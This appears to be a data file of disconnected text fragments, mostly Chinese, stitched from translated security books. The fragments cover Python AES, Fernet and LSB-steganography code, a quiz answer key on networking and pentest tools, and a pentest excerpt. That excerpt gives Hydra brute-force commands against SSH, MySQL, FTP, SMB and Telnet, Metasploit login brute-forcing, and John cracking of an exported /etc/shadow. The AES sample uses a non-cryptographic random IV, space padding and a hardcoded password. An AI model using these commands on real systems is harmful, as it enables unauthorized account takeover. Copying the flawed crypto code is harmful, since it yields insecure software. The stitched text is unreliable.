    {"text": "您可以在 pycrypto 文件夹内的 aes-file-encrypt.py 文件中找到以下代码： from Crypto.Cipher import AES from Crypto.Hash import SHA256 import os , random , struct def encrypt_file ( key , filename ): chunk_size = 64 * 1024 output_filename = filename + '.encrypted' # Initialization vector iv = '' . join ( chr ( random . randint ( 0 , 0xFF )) for i in range ( 16 )) #create the encryption cipher encryptor = AES . new ( key , AES . MODE_CBC , iv ) #Determine the size of the file filesize = os . path . getsize ( filename ) #Open the output file and write the size of the file. #We use the struct package for the purpose. with open ( filename , 'rb' ) as inputfile : with open ( output_filename , 'wb' ) as outputfile : outputfile . write ( struct . pack ( '<Q' , filesize )) outputfile . write ( iv ) while True : chunk = inputfile . read ( chunk_size ) if len ( chunk ) == 0 : break elif len ( chunk ) % 16 != 0 : chunk += ' ' * ( 16 - len ( chunk ) % 16 ) outputfile . write ( encryptor . encrypt ( chunk )) password = \"password\" def getKey ( password ): hasher = SHA256 . new ( password ) return hasher . digest () encrypt_file ( getKey ( password ), 'file.txt' ); 上一个脚本的输出是一个名为 file.txt.encrypted 的文件，其中包含与原始文件相同的内容，但信息不清晰。 前面的脚本的工作方式是，首先加载所有必需的模块并定义加密文件的函数： from Crypto.Cipher import AES import os , random , struct def encrypt_file ( key , filename , chunk_size = 64 * 1024 ): output_filename = filename + '.encrypted' 此外，我们还需要获得初始化向量。 需要一个 16 字节的初始化向量，其生成如下： # Initialization vector iv = '' . join ( chr ( random . randint ( 0 , 0xFF )) for i in range ( 16 )) 然后我们可以在 PyCrypto 模块中初始化 AES 加密方法： encryptor = AES . new ( key , AES . MODE_CBC , iv ) filesize = os . path . getsize ( filename ) 用 AES 解密文件 对于解密，我们需要反转前面的过程，使用 AES 对文件进行解密 您可以在 pycrypto 文件夹中的** aes-file-decrypt.py **文件中找到以下代码： from Crypto.Cipher import AES from Crypto.Hash import SHA256 import os , random , struct def decrypt_file ( key , filename ): chunk_size = 64 * 1024 output_filename = os . path . splitext ( filename )[ 0 ] #open the encrypted file and read the file size and the initialization vector. #The IV is required for creating the cipher. with open ( filename , 'rb' ) as infile : origsize = struct . unpack ( '<Q' , infile . read ( struct . calcsize ( 'Q' )))[ 0 ] iv = infile . read ( 16 ) #create the cipher using the key and the IV. decryptor = AES . new ( key , AES . MODE_CBC , iv ) #We also write the decrypted data to a verification file, #so we can check the results of the encryption #and decryption by comparing with the original file. with open ( output_filename , 'wb' ) as outfile : while True : chunk = infile . read ( chunk_size ) if len ( chunk ) == 0 : break outfile . write ( decryptor . decrypt ( chunk )) outfile . truncate ( origsize ) password = \"password\" def getKey ( password ): hasher = SHA256 . new ( password ) return hasher . digest () decrypt_file ( getKey ( password ), 'file.txt.encrypted' ); 用密码学加密和解密信息 在本节中，我们将回顾用于加密和解密数据的 cryptography 模块。"},
    {"text": "For more information about installation and supported platforms, check out https://cryptography.io/en/latest/installation/ . 密码学包括普通密码算法的高级和低级接口，如对称密码、消息摘要和密钥派生函数。"},
    {"text": "例如，我们可以对 fernet 包使用对称加密。 fernet 包的对称加密 Fernet 是对称加密的一种实现，它保证在没有密钥的情况下无法操作或读取加密消息。"},
    {"text": "您可以在加密文件夹中的** encrypt_decrypt.py 文件中找到以下代码：** **```py from cryptography.fernet import Fernet key = Fernet.generate_key() cipher_suite = Fernet(key) print(\"Key \"+str(cipher_suite)) message = \"Secret message\" cipher_text = cipher_suite.encrypt(message) plain_text = cipher_suite.decrypt(cipher_text) print(\"\\n\\nCipher text: \"+cipher_text) print(\"\\n\\nPlain text: \"+plain_text) 这是上一个脚本的输出： ![](img/8ff216ff-69d5-4ad1-be86-befeb736603c.png) # 在 fernet 软件包中使用密码 可以将密码与 Fernet 一起使用。"},
    {"text": "为此，您需要通过密钥派生函数运行密码，例如**PBKDF2HMAC。 ** **PBKDF2（基于密码的密钥派生函数 2）**通常用于从密码派生加密密钥。"},
    {"text": "More information about key derivation functions can be found at [https://cryptography.io/en/latest/hazmat/primitives/key-derivation-functions/](https://cryptography.io/en/latest/hazmat/primitives/key-derivation-functions/). 在本例中，我们使用此函数从密码生成密钥，并使用该密钥创建用于加密和解密数据的 Fernet 对象。"},
    {"text": "您可以在加密文件夹中的**`encrypt_decrypt_kdf.py`文件中找到以下代码：** **```py import base64 import os from cryptography.fernet import Fernet from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC password = \"password\" salt = os.urandom(16) kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend()) key = kdf.derive(password) kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend()) #verify() method checks whether deriving a new key from #the supplied key generates the same key as the expected_key, #and raises an exception if they do not match. kdf.verify(password, key) key = base64.urlsafe_b64encode(key) fernet = Fernet(key) token = fernet.encrypt(\"Secret message\") print(\"Token: \"+token) print(\"Message: \"+fernet.decrypt(token)) 这是上一个脚本的 输出 ： 如果我们使用 verify() 方法验证密钥，并且在验证过程中检查密钥不匹配，则会启动 cryptography.exceptions.InvalidKey 异常： 使用密码包的对称加密 来自 cryptography 模块的密码包提供了一个对称加密类** cryptography.hazmat.primitives.ciphers.Cipher 类。"},
    {"text": "您可以在加密文件夹中的 encrypt_decrypt_AES.py 文件中找到以下代码： import os from cryptography.hazmat.primitives.ciphers import Cipher , algorithms , modes from cryptography.hazmat.backends import default_backend backend = default_backend () key = os . urandom ( 32 ) iv = os . urandom ( 16 ) cipher = Cipher ( algorithms . AES ( key ), modes . CBC ( iv ), backend = backend ) encryptor = cipher . encryptor () print ( encryptor ) message_encrypted = encryptor . update ( \"a secret message\" ) print ( \" \\n\\n Cipher text: \" + message_encrypted ) ct = message_encrypted + encryptor . finalize () decryptor = cipher . decryptor () print ( \" \\n\\n Plain text: \" + decryptor . update ( ct )) 这是上一个脚本的输出： 隐藏图像信息的隐写术技术 在本节中，我们将回顾隐写术技术和 stepic 作为在图像中隐藏信息的 python 模块。"},
    {"text": "隐写术简介 隐写术（ http://en.wikipedia.org/wiki/Steganography 是密码学的一个特殊分支，它允许我们将秘密信息隐藏到公共信息中，也就是说，隐藏到明显无害的信息中。"},
    {"text": "当通过图像的每个像素时，我们得到一个由（0）到（255）的整数组成的 RGB 三元组，由于每个数字都有自己的二进制表示形式，我们将该三元组转换为其等价的二进制表示形式；"},
    {"text": "在下面的 LSB 列中，我们更改了位（红色），但其余的位仍然保持不变，RGB 三元组的结果经历了一些更改，但它们是最小的。 如果仔细地将它们设置为两种颜色，它们不太可能发现任何视觉上的差异，但实际上发生了变化，在改变最低有效位后，RGB 三元组与我们开始时的不同，但颜色显然是相同的。"},
    {"text": "一切都是 1 和 0，我们可以让 LSB 遵循我们想要的顺序，例如，如果我们想隐藏单词“Hacking”，我们必须记住每个字母（字符）都可以用一个字节表示，即“H”=01001000，因此如果我们有 3 个像素，我们可以使用 LSB 隐藏该序列。 在这幅图中，我们可以看到“H”字母以二进制和 LSB 格式表示： 因为每个像素有三个值​​这就构成了它，在每一个字母中我们只能改变一位，那么隐藏字母“H”需要三个像素，因为它的二进制表示对应于八位。"},
    {"text": "您可以在隐写术文件夹中的 steganography_LSB.py 文件 中找到以下代码 首先，我们定义 get 函数，设置 最低有效位（LSB）**，并设置读取图像并访问每个像素对 LSB 的 extract_message() 方法： #!/usr/bin/env python #Hide data in lsbs of an image #python 3.x compatible from PIL import Image def get_pixel_pairs ( iterable ): a = iter ( iterable ) return zip ( a , a ) def set_LSB ( value , bit ): if bit == '0' : value = value & 254 else : value = value | 1 return value def get_LSB ( value ): if value & 1 == 0 : return '0' else : return '1' def extract_message ( image ): c_image = Image . open ( image ) pixel_list = list ( c_image . getdata ()) message = \"\" for pix1 , pix2 in get_pixel_pairs ( pixel_list ): message_byte = \"0b\" for p in pix1 : message_byte += get_LSB ( p ) for p in pix2 : message_byte += get_LSB ( p ) if message_byte == \"0b00000000\" : break message += chr ( int ( message_byte , 2 )) return message 现在，我们定义了我们的 hide_message 方法，该方法读取图像并使用每个像素的 LSB 隐藏图像中的消息： def hide_message ( image , message , outfile ): message += chr ( 0 ) c_image = Image . open ( image ) c_image = c_image . convert ( 'RGBA' ) out = Image . new ( c_image . mode , c_image . size ) width , height = c_image . size pixList = list ( c_image . getdata ()) newArray = [] for i in range ( len ( message )): charInt = ord ( message [ i ]) cb = str ( bin ( charInt ))[ 2 :]. zfill ( 8 ) pix1 = pixList [ i * 2 ] pix2 = pixList [( i * 2 ) + 1 ] newpix1 = [] newpix2 = [] for j in range ( 0 , 4 ): newpix1 . append ( set_LSB ( pix1 [ j ], cb [ j ])) newpix2 . append ( set_LSB ( pix2 [ j ], cb [ j + 4 ])) newArray . append ( tuple ( newpix1 )) newArray . append ( tuple ( newpix2 )) newArray . extend ( pixList [ len ( message ) * 2 :]) out . putdata ( newArray ) out . save ( outfile ) return outfile if __name__ == \"__main__\" : print ( \"Testing hide message in python_secrets.png with LSB ...\" ) print ( hide_message ( 'python.png' , 'Hidden message' , 'python_secrets.png' )) print ( \"Hide test passed, testing message extraction ...\" ) print ( extract_message ( 'python_secrets.png' )) Stepic 隐写术 Stepic 提供了一个 Python 模块和一个命令行界面，用于隐藏图像中的任意数据。"},
    {"text": "Stepic 的 Steganographer 类是模块的主要类，在这里我们可以看到可用于编码和解码图像中数据的方法： 在下面与 python 2.x 版兼容的脚本中，我们可以看到这些函数的实现。 您可以在 steganography 文件夹内的 **stepic.py** 文件 中找到以下代码：**** ****```py stepic - Python image steganography '''Python image steganography Stepic hides arbitrary data inside PIL images. Stepic uses the Python Image Library (apt: python-imaging, web: http://www.pythonware.com/products/pil/ ). ''' from PIL import Image def _validate_image(image): if image.mode not in ('RGB', 'RGBA', 'CMYK'): raise ValueError('Unsupported pixel format: ''image must be RGB, RGBA, or CMYK') if image.format == 'JPEG': raise ValueError('JPEG format incompatible with steganography') 在这部分代码中，我们可以看到与使用 LSB 对图像中的数据进行编码相关的方法。"},
    {"text": "每个像素由 0 到 255 之间的三个整数组成，第一个提供红色分量，第二个提供绿色分量，第三个提供蓝色分量。 它一次读取三个像素，每个像素包含三个值：红色、绿色和蓝色。"},
    {"text": "一个字节的数据有八位，因此如果每种颜色都可以稍微修改，通过将最低有效位设置为零或一，这三个像素可以存储一个字节，剩下一个颜色值： ```py def encode_imdata(imdata, data): '''given a sequence of pixels, returns an iterator of pixels with encoded data''' datalen = len(data) if datalen == 0: raise ValueError('data is empty') if datalen * 3 > len(imdata): raise ValueError('data is too large for image') imdata = iter(imdata) for i in xrange(datalen): pixels = [value & ~1 for value in imdata.next()[:3] + imdata.next()[:3] + imdata.next()[:3]] byte = ord(data[i]) for j in xrange(7, -1, -1): pixels[j] |= byte & 1 byte >>= 1 if i == datalen - 1: pixels[-1] |= 1 pixels = tuple(pixels) yield pixels[0:3] yield pixels[3:6] yield pixels[6:9] def encode_inplace(image, data): '''hides data in an image''' _validate_image(image) w = image.size[0] (x, y) = (0, 0) for pixel in encode_imdata(image.getdata(), data): image.putpixel((x, y), pixel) if x == w - 1: x = 0 y += 1 else: x += 1 def encode(image, data): '''generates an image with hidden data, starting with an existing image and arbitrary data''' image = image.copy() encode_inplace(image, data) return image 在这部分代码中，我们可以看到使用 LSB 对图像中的数据进行解码的相关方法。 基本上，给定图像中的像素序列，它返回图像中编码字符的迭代器： def decode_imdata ( imdata ): '''Given a sequence of pixels, returns an iterator of characters encoded in the image''' imdata = iter ( imdata ) while True : pixels = list ( imdata . next ()[: 3 ] + imdata . next ()[: 3 ] + imdata . next ()[: 3 ]) byte = 0 for c in xrange ( 7 ): byte |= pixels [ c ] & 1 byte <<= 1 byte |= pixels [ 7 ] & 1 yield chr ( byte ) if pixels [ - 1 ] & 1 : break def decode ( image ): '''extracts data from an image''' _validate_image ( image ) return '' . join ( decode_imdata ( image . getdata ())) Stepic 使用最低有效位（ http://en.wikipedia.org/wiki/Least_significant_bit 此剩余值的 ）表示数据的结束。"},
    {"text": "要对其进行解码，我们可以使用以下功能： decode_imdata ( imdata ) 我们可以看到，该函数与 encode_imdata(imdata, data) 函数相反，即从左到右、从上到下同时读取三个像素，直到读取其等于 1 的最后一个像素的最后一种颜色的最后一位。"},
    {"text": "用 stepic 隐藏图像中的数据 在下面的脚本中，我们使用 PIL 模块表单中的图像包读取图像。 一旦我们读取了图像，我们就使用 stepic 的 encode 函数来隐藏图像中的一些文本。"},
    {"text": "您可以在 steganography 文件夹内的 stepic_example.py 文件 中找到以下代码： **```py from PIL import Image import stepic #Open an image file in which you want to hide data image = Image.open(\"python.png\") #Encode some text into the source image. #This returns another Image instance, which can save to a new file image2 = stepic.encode(image, 'This is the hidden text') image2.save('python_secrets.png','PNG') #Use the decode() function to extract data from an image: image2 = Image.open('python_secrets.png') s = stepic.decode(image2) data = s.decode() print(\"Decoded data: \" + data) # 总结 本章的目标之一是了解允许我们使用 AES 和 DES 算法加密和解密信息的`pycrypto`和`cryptography`模块。"},
    {"text": "# 进一步阅读 在这些链接中，您将找到有关本章中提到的工具及其官方文档的更多信息： `Pycryptodome`是一个基于`pypi`存储库中可用的`pycrypto`库的模块： [https://pypi.org/project/pycryptodome/](https://pypi.org/project/pycryptodome/) [https://github.com/Legrandin/pycryptodome](https://github.com/Legrandin/pycryptodome) [https://www.pycryptodome.org/en/latest/](https://www.pycryptodome.org/en/latest/) 在这些链接中，我们可以看到与`Pycrypto`模块相关的其他示例： [https://github.com/X-Vector/Crypt0x/tree/master/Crypt0x](https://github.com/X-Vector/Crypt0x/tree/master/Crypt0x) [https://github.com/jmortega/pycon-security_criptography](https://github.com/jmortega/pycon-security_criptography) 如果您需要更深入地探索密码生成，您可以找到其他有趣的模块，如 Secrets： [https://docs.python.org/3/library/secrets.html#module-秘密](https://docs.python.org/3/library/secrets.html#module-secrets) `secrets`模块用于生成适用于管理数据的加密强随机数，如密码、帐户身份验证、安全令牌和相关机密。"},
    {"text": "十四、答案 十四、答案 原文： https://gitee.com/apachecn/apachecn-python-zh/blob/master/docs/master-py-net-sec/14.md 第 1 章：使用 Python 脚本 Python2.x 和 3.x 之间有什么区别？"},
    {"text": "The Unicode support in Python 3.x has been improved. The other changes are to do with the print and exec functions, which have been adjusted to be more readable and coherent. Python 开发人员使用的主要编程范式是什么？"},
    {"text": "socket.accept() 用于接受客户端的连接。 此方法返回两个值： client_socket 和 client_address ，其中 client_socket 是用于通过连接发送和接收数据的新套接字对象。"},
    {"text": "socket.gethostbyname(hostname) socket 模块中哪种方式允许您使用套接字进行端口扫描并检查端口状态？ socket.connect_ex(address) 用于通过套接字实现端口扫描。"},
    {"text": "response = requests.post(url, data=data) 通过代理服务器发出 POST 请求并同时修改头信息的正确方法是什么？ requests.post(url,headers=headers,proxies=proxy) 如果我们需要通过代理发送带有 requests 的请求，需要装载什么数据结构？"},
    {"text": "HTTPDigestAuth 基本身份验证机制使用什么编码系统来发送用户名和密码？ HTTP 基本身份验证机制基于表单，使用 Base64 对用户名和密码组合进行编码，并用冒号（ user: password 分隔）。"},
    {"text": "scapy> sendp (packet, loop=1, inter=5) Scapy 必须调用什么方法来检查某台机器（ host 上的某个端口（ port ）是否打开或关闭，以及显示有关如何发送数据包的详细信息？"},
    {"text": "Pcapy. Pcapy 接口中的哪种方法允许我们捕获特定设备上的数据包？ 我们可以使用 Pcapy 接口中的 open_live 方法在特定设备上捕获数据包，我们可以指定每次捕获的字节数和其他参数，如混杂模式和超时。"},
    {"text": "下面是一个例子： >>> packet=sniff(filter=\"tcp\", iface=\"eth0\", prn=lambda x:x.summary()) 哪种格式支持 Scapy 在网络数据包上应用过滤器？"},
    {"text": "我们需要用 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 指令创建一个套接字，用 sock.sendall(http_get) 指令发送 GET 请求，最后用 data = sock.recvfrom(1024) 指令接收数据。"},
    {"text": "使用 DNSPython 模块获取 IPv6 地址记录需要调用哪种方法和传递哪些参数？ dns.resolver.query('domain','AAAA') 使用 DNSPython 模块获取邮件服务器的记录需要调用哪种方法和传递哪些参数？ dns.resolver.query('domain','MX') 使用 DNSPython 模块获取名称服务器的记录需要调用哪种方法和传递哪些参数？ dns.resolver.query('domain','NS') 哪个项目包含包含已知攻击模式的文件和文件夹，这些模式是在 web 应用的各种 pentesting 测试中收集的？"},
    {"text": "ssh = paramiko.SSHClient() ssh.connect(host, username=’username’, password=’password’) Paramiko 模块的哪种方法允许我们打开会话，以便随后执行命令？ ssh_session = client.get_transport().open_session() 我们如何使用 RSA 证书登录到 SSH 服务器，从中我们可以找到路由和密码？"},
    {"text": "rsa_key= RSAKey.from_private_key_file('path_key_rsa',password) client.connect('host',username='',pkey= rsa_key,password='') PySNMP 模块的哪个主要类允许查询 SNMP 代理？"},
    {"text": "以下是其使用示例： from pysnmp.entity.rfc3413.oneliner import cmdgen cmdGen = cmdgen.CommandGenerator() 通知 Paramiko 在不中断会话或提示用户的情况下首次接受服务器密钥的说明是什么？"},
    {"text": "ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 通过 Transport() 方法连接到 SSH 服务器的哪种方式提供了另一种类型的对象来对服务器进行身份验证？"},
    {"text": "file_handler = open(DOWNLOAD_FILE_NAME, 'wb') ftp_cmd = 'RETR %s' %DOWNLOAD_FILE_NAME ftp_client.retrbinary(ftp_cmd,file_handler.write) 第 8 章：使用 Nmap 扫描器 哪种方法可以让我们看到扫描的目标机器？"},
    {"text": "nmasync.scan('ip','ports',arguments='--script=/usr/local/share/nmap/scripts/') 我们可以使用哪种方法获得字典格式的扫描结果？"},
    {"text": "nmap.csv() 什么样的 Nmap 模块用于异步执行扫描？ nma = nmap.PortScannerAsync() 什么样的 Nmap 模块用于同步执行扫描？ nma = nmap.PortScanner() 如果我们使用 self.nmsync = nmap.PortScanner () 指令初始化对象，我们如何在给定主机上、给定端口上启动同步扫描？"},
    {"text": "下面是一个例子： def callback_result(host, scan_result) nmasync.scan(hosts=’127.0.0.1’, arguments=’-sP’, callback=callback_result) 如果我们需要知道 FTP 服务是否允许匿名身份验证而无需输入用户名和密码，那么需要在端口 21 上运行哪个脚本？ ftp-anon.nse 如果我们需要知道 MySQL 服务是否允许匿名身份验证而无需输入用户名和密码，那么需要在端口 3306 上运行哪个脚本？"},
    {"text": "generic/shell_bind_tcp 和 generic/shell_reverse_tcp 之间有什么区别？ 它们之间的区别在于，使用 generic/shell_bind_tcp 时，从攻击者的机器到受害者的机器建立连接，而使用 generic/shell_reverse_tcp 时，从受害者的机器建立连接，这要求攻击者的机器有一个监听程序来检测该连接。"},
    {"text": "我们使用 console.create 函数，然后使用该函数返回的控制台标识符，如下所示： import msfrpc client = msfrpc.Msfrpc({'uri':'/msfrpc', 'port':'5553', 'host':'127.0.0.1', 'ssl': True}) client.call('console.create') 使用 Metasploit 框架在客户端和 Metasploit 服务器实例之间交换信息的远程访问接口的名称是什么？"},
    {"text": "from nessrest import ness6rest nessrest 模块中的哪种方法在特定目标中启动扫描？ scan = ness6rest.Scanner(url=\"https://nessusscanner:8834\", login=\"username\", password=\"password\") nessrest 模块中的哪种方法获取特定目标的扫描细节？"},
    {"text": "哪些方法负责列出所有检测到的漏洞并返回 nexpose 服务器中特定漏洞的详细信息？ vulnerability_listing() 和 vulnerability_details() 方法负责列出所有检测到的漏洞，并返回特定漏洞的详细信息。"},
    {"text": "w3af 工具的哪个配置文件执行扫描以识别高风险漏洞，如 SQL 注入和 XSS？ audit_high_risk 配置文件执行扫描以识别高风险漏洞，如 SQL 注入和 XSS。"},
    {"text": "下面是一个使用示例： >>>sqlmap -u http://testphp.productweb.com/showproducts.php?cat=1 –dbs 允许扫描服务器中 Heartbleed 漏洞的 Nmap 脚本的名称是什么？"},
    {"text": "pygeocoder 模块的主要类是什么，允许从一个地方的描述和一个特定的位置进行查询？ 这个模块的主要类是 Geocoder 类，它允许从一个地方的描述和一个特定的位置进行查询。"},
    {"text": "results = Geocoder.reverse_geocode(results.latitude, results.longitude) pygeoip 模块中的哪种方法允许我们从参数传递的 IP 地址中获取国家名称的值？ country_name_by_addr(<ip_address>) pygeoip 模块中的哪种方法允许我们从 IP 地址获取具有地理数据（国家、城市、地区、纬度、经度）的字典形式的结构？ record_by_addr(<ip_address>) pygeoip 模块中的哪种方式允许我们从域名中获取组织名称？"},
    {"text": "对于加密模块，我们可以使用 cryptography.hazmat.primitives.kdf.pbkdf2 导入 PBKDF2HMAC 的包 什么提供了对称加密的 fernet 包？"},
    {"text": "index Document Outline 封面 书名 版权 前言 目录 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 封底\nindex\nCover"},
    {"text": "网络安全攻防技术实战 MySQL通用/默认口令如下： Tomcat通用/默认口令如下： Weblogic通用/默认口令如下： 上述口令在真实的网络环境中屡见不鲜，因为弱口令造成的重大危 害的事件也比比皆是，下面将讲解如何使用工具进行弱口令的扫描。"},
    {"text": "3.4.2 Hydra 暴力破解 Hydra是kali操作系统自带的一款暴力破解的工具，它可以对多种不 同的服务进行用户名、密码的暴力破解，可支持AFP、Cisco AAA、 Cisco auth、Cisco enable、CVS、Firebird、FTP、HTTP-FORM-GET、 HTTP-FORM-POST、HTTP-GET、HTTP-HEAD、HTTP-PROXY、 HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTP-Proxy、ICQ、IMAP、IRC、LDAP、MS-SQL、 MySQL、NCP、NNTP、Oracle Listener、Oracle SID、Oracle、PC- Anywhere、PCNFS、POP3、POSTGRES、RDP、Rexec、Rlogin、 Rsh、SAP/R3、SIP、SMB、SMTP、SMTP Enum、SNMP、SOCKS5、 SSH(v1 and v2)、Subversion、Teamspeak(TS2)、Telnet、VMware-Auth、VNC and XMPP等类型密码的暴力破解。 1 ． Hydra 常用参数 2 ． Hydra 的使用 使用命令“hydra -l root -p root ssh://10.211.55.20”暴力破解SSH，如 图3-47所示。 图3-47 暴力破解SSH 使用命令“hydra -l root -P '/root/桌面/password.txt' mysql://10.211.55.22”暴力破解MySQL，如图3-48所示。 图3-48 暴力破解MySQL 使用命令“hydra -L '/username.txt' -P '/password.txt' ftp://10.211.55.22”暴力破解FTP，如图3-49所示。 图3-49 暴力破解FTP 使用命令“hydra -C dict.dict -e n -M '/host.txt' smb”暴力破解SMB，如 图3-50所示。 图3-50 暴力破解SMB 使用命令“hydra -l admin -P '/password.txt' 10.211.55.22 telnet”暴力破 解Telnet，如图3-51所示。 图3-51 暴力破解Telnet 3.4.3 Metasploit 暴力破解 在Metasploit中，暴力破解SSH使用的 是“auxiliary/scanner/ssh/ssh_login”模块，使用命令“use auxiliary/scanner/ssh/ssh_login”载入模块，然后使用“show options”命令查 看需要设置的参数，如图3-52所示。 然后设置暴力破解的目标地址，选择用户名和密码字典，设置暴力 破解线程等相关参数，如图3-53所示。 参数设置完成后，使用“run”命令进行暴力破解，暴力破解成功后 会显示账号和密码“root:password”，如图3-54所示。 另一种方式的暴力破解需要先得到“etc/shadow”文件， 把“shadow”文件导出到装有John工具的机器上进行操作。"},
    {"text": "图3-52 查看需要设置的参数 图3-53 暴力破解参数设置 图3-54 显示账号和密码 图3-55 John暴力破解参数 开始暴力破解前可以查看一下“shadow”文件，root后面加密的密文 就是需要暴力破解的密码，密文如图3-56所示。 图3-56 密文 开始暴力破解，直接运行命令“john/root/shadow”即可，把shadow放 到“/root”目录下面进行暴力破解，等待片刻后可以得到成功暴力破解的 账号和密码，解密成功，如图3-57所示。 图3-57 解密成功 当然也可以在“/root/.john”目录中查看“john.pot”文件，暴力破解后 的明文如图3-58所示。"},
    {"text": "图3-58 明文 第 4 章 Web 渗透测试 4.1 Web TOP 10 漏洞 常见的漏洞有注入漏洞、文件上传漏洞、文件包含漏洞、命令执行 漏洞、代码执行漏洞、跨站脚本（XSS）漏洞、SSRF漏洞、XML外部 实体（XXE）漏洞、反序列化漏洞、解析漏洞等，因为这些安全漏洞的 存在，可能会被黑客利用从而影响业务。"},
    {"text": "下述每种路线都是一种安全风 险，黑客通过一系列的攻击手段可以发现目标的安全弱点，若是安全弱 点被成功利用将导致目标被黑客控制，从而威胁到目标资产或正常功能 的使用，最终导致业务受到影响，安全风险如图4-1所示。"},
    {"text": "用户可以通过 任何可输入的点输入构造的恶意代码，若应用程序对用户的输入过滤不 严，一旦将输入的恶意代码作为命令或查询的一部分发送到解析器，则 可能会导致注入漏洞的产生。 以SQL注入为例，它是由于攻击者通过浏览器或者其他客户端将恶 意SQL语句插入网站参数中，而网站应用程序未经过滤，直接将恶意 SQL语句带入数据库并进行执行，最后导致可以通过数据库获取敏感的 信息或者执行其他恶意操作。"},
    {"text": "4.1.2 跨站脚本（ XSS ）漏洞 XSS漏洞全称是跨站脚本漏洞，为了不和层叠样式表（Cascading Style Sheets，CSS）的缩写混淆，故将跨站脚本漏洞缩写为XSS。 XSS 漏洞是一种在Web应用中常见的安全漏洞，它允许用户将恶意代码植入 Web页面中，当其他用户访问此页面时，植入的恶意脚本就会在其他用 户的客户端中执行。 XSS漏洞的危害很多，可以通过XSS漏洞获取客户端用户的信息， 比如，用户登录的Cookie信息；"},
    {"text": "可以 在客户端中植入木马； 可以结合其他漏洞攻击服务器，在服务器中植入 木马等。 4.1.3 文件上传漏洞 文件上传漏洞发生在有上传功能的应用中，如果应用程序对用户的 上传文件没有控制或者存在缺陷，攻击者可以利用应用上传功能存在的 缺陷，上传木马和病毒等有危害的文件到服务器，进而控制服务器。 文件上传漏洞产生的主要原因是：应用中存在上传功能，但是上传 的文件没有经过严格的合法性检验或者检验函数存在缺陷，导致可以上 传木马文件到服务器。 文件上传漏洞危害极大，因为可以直接上传恶意代码到服务器上， 可能会造成服务器的网页篡改、网站被挂马、服务器被远程控制和被安 装后门等严重的后果。 文件上传漏洞主要是通过前端JS绕过、文件名绕过和Content-Type 绕过等几种方式进行恶意代码上传。"},
    {"text": "4.1.4 文件包含漏洞 文件包含函数包含的文件参数没有经过过滤或者严格的定义，并且 参数可以被用户控制，就可能包含非预期的文件。 如果文件中存在恶意 代码，无论文件是什么样的后缀类型，文件内的恶意代码都会被解析执 行，就导致了文件包含漏洞的产生。 文件包含漏洞可能会造成服务器的网页篡改、网站挂马、远程控制 服务器、安装后门等危害。 4.1.5 命令执行漏洞 应用程序的某些功能需要调用可以执行系统命令的函数，如果这些 函数或者函数的参数能被用户控制，就可能通过命令连接符将恶意命令 拼接到正常的函数中，从而随意执行系统命令，这就是命令执行漏洞， 它属于高危漏洞之一。 4.1.6 代码执行漏洞 应用程序中提供了一些可以将字符串作为代码执行的函数，比如 PHP中的eval()函数，可以将函数中的参数当作PHP代码来执行，如果这 些函数的参数控制不严格，可能会被利用，造成任意代码执行。"},
    {"text": "4.1.7 XML 外部实体（ XXE ）漏洞 XML外部实体（XML External Entity，XXE）漏洞产生的原因是应 用程序解析XML时，没有过滤外部实体的加载，导致加载了恶意的外 部文件，造成命令执行、文件读取、内网扫描、内网应用攻击等危害。"},
    {"text": "4.1.9 SSRF 漏洞 服务端请求伪造（Server-Side Request Forge，SSRF）漏洞，攻击者 利用SSRF漏洞通过服务器发起伪造请求，这样就可以访问内网的数 据，进行内网信息探测或者内网漏洞利用。 SSRF漏洞形成的原因是应用程序存在可以从其他服务器获取数据 的功能，但是服务器的地址并没有做严格的过滤，导致应用程序可以访 问任意的URL链接，攻击者通过精心构造URL链接，可以利用SSRF漏 洞进行以下攻击： （1）可以通过服务器获取内网主机、端口和Banner信息。"},
    {"text": "4.1.10 解析漏洞 Web容器解析漏洞会将其他类型的文件都当做该脚本语言的文件进 行解析，执行里面的代码。 Web容器解析漏洞产生的原因是Web容器存 在漏洞，导致在解析恶意构造的文件时，无论此文件是什么类型的文 件，都会执行里面的代码。 Web容器解析漏洞的危害极大，会造成服务器被远程控制、网页篡 改、网站挂马、植入后门等危害。 一般解析漏洞都是配合文件上传的功能进行利用，常见的Web容器 有IIS、Nginx、Apache、Tomcat和Lighttpd等。"},
    {"text": "这种框架有助于减轻网页开发时共通 性活动的工作负荷，例如，许多框架提供数据库访问接口、标准模板及 会话管理等，可提升代码的可再用性。"},
    {"text": "随着Web框架的流行也引来了一系列的安全问题，一旦Web开发框 架出现严重漏洞将影响到成千上万的网站安全，如典型的ThinkPHP框 架漏洞和Struts2框架漏洞。 4.2.1 ThinkPHP 框架漏洞 ThinkPHP是为了简化企业级应用开发和敏捷Web应用开发而诞生 的。"},
